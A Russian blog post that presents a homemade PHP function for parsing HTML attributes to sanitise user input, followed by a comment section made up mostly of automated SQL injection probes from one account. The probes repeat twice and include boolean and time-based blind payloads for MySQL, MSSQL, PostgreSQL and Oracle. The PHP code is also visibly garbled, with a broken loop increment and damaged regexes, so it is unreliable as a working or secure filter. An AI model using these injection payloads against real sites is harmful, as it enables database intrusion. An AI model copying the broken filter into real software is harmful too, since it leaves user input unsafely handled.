В данный момент я работаю над проектом, в котором любой пользователь извне может принять участие. В таких условиях приходиться внимательно следить за вводом HTML кода, поэтому я потратил достаточно много времени на написание функционала, отвечающего за фильтрацию пользовательского ввода. Если нежелательные теги и можно отсеять, используя встроенную функцию PHP strip_tags(), то для проверки атрибутов разрешённых HTML тегов придётся изобретать свой велосипед. Для чтения атрибутов, их параметров, названия тегов можно использовать эту функцию:
  1. function read_htmlAttrs ($source, $mb = true)
  2. {
  3.         $m = 'strlen';
  4.         $m_s = 'substr';
  5.                
  6.         if ($mb)
  7.         {
  8.                 $m = 'mb_'.$m;
  9.                 $m_s = 'mb_'.$m_s;
  10.         }
  11.                
  12.         $srcLen = $m ($source);
  13.         $mode = 'full_idle';
  14.                
  15.         for ($x=0; $x<=$srcLen; $x  )
  16.         {
  17.                 $s = $m_s ($source, $x, 1);
  18.  
  19.                 if ($mode=='full_idle' && $s=='<')
  20.                 {
  21.                         if ($m_s ($source, $x, 2)!='</')
  22.                                 $mode = 'read_tag_name';
  23.                                
  24.                                 continue;
  25.                         }
  26.                                
  27.                 if ($mode=='read_tag_name' && preg_match('/[a-zA-Z0-9>\s] /i', $s))
  28.                 {
  29.                         if ($s=='>')
  30.                         {
  31.                                 $mode = 'close_tag';
  32.                                 continue;
  33.                         }
  34.                                        
  35.                         if(preg_match('/[\s] /i', $s))
  36.                         {
  37.                                 $mode='read_attr_name';
  38.                                 continue;
  39.                         }
  40.                                 $tmp['tagName'] .= $s;
  41.                 }
  42.                                
  43.                 if ($mode=='read_attr_name' && preg_match('/[a-zA-Z0-9>=\s] /i', $s))
  44.                 {
  45.                         if ($s=='>')
  46.                         {
  47.                                 $mode = 'close_tag';
  48.                                 continue;
  49.                         }
  50.                                        
  51.                         if ($s=='=')
  52.                         {
  53.                                $mode = 'read_param';
  54.                                 continue;
  55.                         }
  56.                        
  57.                         $tmp['attrName'] .= $s;
  58.                         continue;
  59.                 }
  60.                                
  61.                 if ($mode=='read_param' && preg_match('~[a-zA-Z0-9:>;//#-_\s] ~i', $s))
  62.                 {
  63.                         if(preg_match('/[\s] /i', $s) && $m_s ($source, $x-1, 1)!=':')
  64.                         {
  65.                                 if ($s==' ') continue;
  66.                                 $mode='read_attr_name';
  67.                                 $result['attrName'][] = trim($tmp['attrName']);
  68.                                 $tmp['param'] = str_replace (array('"',"'"), '', $tmp['param']);
  69.                                 $result['param'][] = trim($tmp['param']);
  70.                                 unset($tmp['attrName']);
  71.                                 unset($tmp['param']);
  72.                                 continue;
  73.                         }
  74.                                        
  75.                         if ($s=='/') continue;
  76.                                        
  77.                         if ($s=='>')
  78.                         {
  79.                                 $mode = 'close_tag';
  80.                                 continue;
  81.                                 }
  82.                                 $tmp['param'] .= $s;
  83.                                 continue;
  84.                 }
  85.                        
  86.                 if ($mode=='close_tag')
  87.                 {
  88.                         $mode = 'full_idle';
  89.                         $tmp['param'] = str_replace (array('"',"'"), '', $tmp['param']);
  90.                         $result['tagName'][] = trim($tmp['tagName']);
  91.                         $result['attrName'][] = trim($tmp['attrName']);
  92.                         $result['param'][] =  trim($tmp['param']);
  93.                         unset($tmp);
  94.                 }
  95.        }
  96.    return $result;
  97. }
Функция пройдётся по HTML-вводу и найдя теги (< и >) вернёт массив вида:
  1. (
  2.     [attrName] => Array
  3.         (
  4.             [0] => ass
  5.             [1] => dev
  6.         )
  7.  
  8.     [param] => Array
  9.         (
  10.             [0] => dev
  11.             [1] => ass
  12.         )
  13.  
  14.     [tagName] => Array
  15.         (
  16.             [0] => span
  17.         )
  18.  
  19. )
Это результат работы функции над:
<span ass="dev" dev="ass">ololo</span>
Этот массив можно использовать для замены нежелательных тегов, атрибутов и параметров (например style="padding: 5000px;") ;) Второй, необязательный параметр, задаёт режим чтения. По умолчанию - мультибайтовый (подойдёт для UTF-8). Простейший пример запуска после объявления функции:
$source = read_htmlAtrrs ($_POST['content']);
Пример запуска, с отключением мультибайтовости:
$source = read_htmlAtrrs ($_POST['content'], 0);


nEcdyGgx

nEcdyGgx 13 Augustа в 18:33 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 2+438-438-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3+438-438-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:34 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1 OR 3*2>(0+5+438-438) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1 OR 2+380-380-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1 OR 3+380-380-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1 OR 3*2>(0+5+380-380)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 2+799-799-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3+799-799-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3*2>(0+5+799-799) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 2+393-393-1=0+0+0+1 or 'AX5Wjz3k'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3+393-393-1=0+0+0+1 or 'AX5Wjz3k'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1' OR 3*2>(0+5+393-393) or 'AX5Wjz3k'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1" OR 2+767-767-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1" OR 3+767-767-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1" OR 3*2>(0+5+767-767) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

KTVKECp6'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-5 OR 40=(SELECT 40 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-5) OR 924=(SELECT 924 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

-1)) OR 307=(SELECT 307 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

N6mJKu1g' OR 877=(SELECT 877 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

8zZ1pBTB') OR 165=(SELECT 165 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

2cQmkwDM')) OR 805=(SELECT 805 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:35 #

@@yAeon

nEcdyGgx

nEcdyGgx 13 Augustа в 18:47 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 2+46-46-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3+46-46-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2>(0+5+46-46) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 2+718-718-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3+718-718-1=0+0+0+1

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1 OR 3*2>(0+5+718-718)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 2+748-748-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3+748-748-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2>(0+5+748-748) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 2+606-606-1=0+0+0+1 or 'vLk8NaNI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3+606-606-1=0+0+0+1 or 'vLk8NaNI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1' OR 3*2>(0+5+606-606) or 'vLk8NaNI'='

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 2+296-296-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3+296-296-1=0+0+0+1 --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3*2

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1" OR 3*2>(0+5+296-296) --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

if(now()=sysdate(),sleep(15),0)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1); waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

1 waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

49IB4q9o'; waitfor delay '0:0:15' --

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-5 OR 569=(SELECT 569 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-5) OR 681=(SELECT 681 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

-1)) OR 350=(SELECT 350 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

TX77vyov' OR 808=(SELECT 808 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

fOQrttSU') OR 924=(SELECT 924 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

SfdHs7Hq')) OR 50=(SELECT 50 FROM PG_SLEEP(15))--

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

1'"

nEcdyGgx

nEcdyGgx 13 Augustа в 18:50 #

@@vkgzj


Войдите или зарегистрируйтесь, чтобы написать комментарий.